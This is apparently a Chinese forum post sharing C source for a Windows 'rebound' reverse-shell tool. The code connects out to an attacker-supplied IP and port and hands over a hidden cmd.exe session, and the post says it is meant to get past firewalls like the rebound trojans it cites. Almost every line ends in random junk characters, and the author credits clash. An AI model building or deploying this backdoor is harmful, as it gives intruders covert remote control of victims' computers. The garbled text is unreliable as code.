这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 *}3~8fu{
babDLaC@
/* ============================== Fx)]AJ~[t
Rebound port in Windows NT +)Z,%\)Z
By wind,2006/7 D3BX[
===============================*/ l{Xsh;%=
#include B*K%&w10~
#include /|BzpIfpN
b-%7@j
#pragma comment(lib,"wsock32.lib") 3-tp94`8}t
J:pnmZ`X
void OutputShell(); >P+V!-%#
SOCKET sClient; x7t"@Gz
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n";
2VMau.eQ
Hya*7l']B
void main(int argc,char **argv) 'U5
E{
{ mqwN<:
WSADATA stWsaData; M[HPHNsA&
int nRet; S\GG(#b!
SOCKADDR_IN stSaiClient,stSaiServer; h4!$,%"''
;%Jp@'46
if(argc != 3) QMHeU>
{ m,qU})
printf("Useage:\n\rRebound DestIP DestPort\n"); C6Dq7~{B
return; c[J#Hc8;
} B8;_h#^q
1rTA0+h
WSAStartup(MAKEWORD(2,2),&stWsaData); />)>~_-3
LBw,tP
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); v]Pw]m5=U
}evc]?1(
stSaiClient.sin_family = AF_INET; In:h %4>
stSaiClient.sin_port = htons(0); $kkdB,y
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); F1gDeLmJ
kax9RHvku
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) <&b ~(f
{ V|<qO-#.
printf("Bind Socket Failed!\n"); ';zLh
return; ?Q:se
} /vSFQ}W
]qhVxeUm
stSaiServer.sin_family = AF_INET; *)g*5kKN
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ]!0 BMZmf
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); v;jrAND
u&r@@p.
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) )Q FT$rmX
{ ;k(|ynXv
printf("Connect Error!"); ~d){7OG
return; )Q~Q.
} 5N`g
OutputShell(); DpI_`TF#$Z
} ?jz{fU
|oPqX %?
void OutputShell() 7q$9\RR5
{ Ay"x<JB{U2
char szBuff[1024]; (Q#ArMMORI
SECURITY_ATTRIBUTES stSecurityAttributes; vWjK[5
M%
OSVERSIONINFO stOsversionInfo; bbA+ZLZJn
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; _ 4Hf?m7z
STARTUPINFO stStartupInfo; S3btx9y{
char *szShell; LP#CA^*S
PROCESS_INFORMATION stProcessInformation; 8t0i
j
unsigned long lBytesRead; "x3_cA~
[Z~>7ayF+)
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Z*jhSy
ely&'y!
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); wp.'M?6`L
stSecurityAttributes.lpSecurityDescriptor = 0; B=|yjA'Fg
stSecurityAttributes.bInheritHandle = TRUE; tAbIT;>
-D38>#Y
/xj'Pq((}p
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Tb:n6a@
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); @b-?KH
'xr\\Cd9s
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); :mL\KQ
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :t^=~xO9
stStartupInfo.wShowWindow = SW_HIDE; F2>o"j2
stStartupInfo.hStdInput = hReadPipe; (J$JIPF
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; QBai;p{
.:l78>f
GetVersionEx(&stOsversionInfo); B RD>q4w
r$G;^
switch(stOsversionInfo.dwPlatformId) Eu1s
{ -}PD0Pzg;=
case 1: [ivJ&'vB
szShell = "command.com"; JFR,QUT
break; TS-m^Y'R
default: |~#!e}L(
szShell = "cmd.exe"; }5zH3MPQH
break; cf@:rHB}
} h#;fBQ]
\A keC 6[D
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation);
E2!;W8M
}^)M)8zS
send(sClient,szMsg,77,0); !\+SE"ml
while(1) gHYYxhW$
{ B6OggJ9Iq
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); O#cXvv]Z*
if(lBytesRead) tdZ: w
{ [4PG_k[uTJ
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); vnXpC!1
send(sClient,szBuff,lBytesRead,0); XW5r@:e
} PM o>J|^
else X
B65,l
{ PyzWpf
lBytesRead=recv(sClient,szBuff,1024,0); 9.SPxd~
if(lBytesRead<=0) break; >*vI:MG8
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); (p^q3\
} e,:@c3I
} f0MHh5
R"=G?d)
return; @qg=lt|(F
}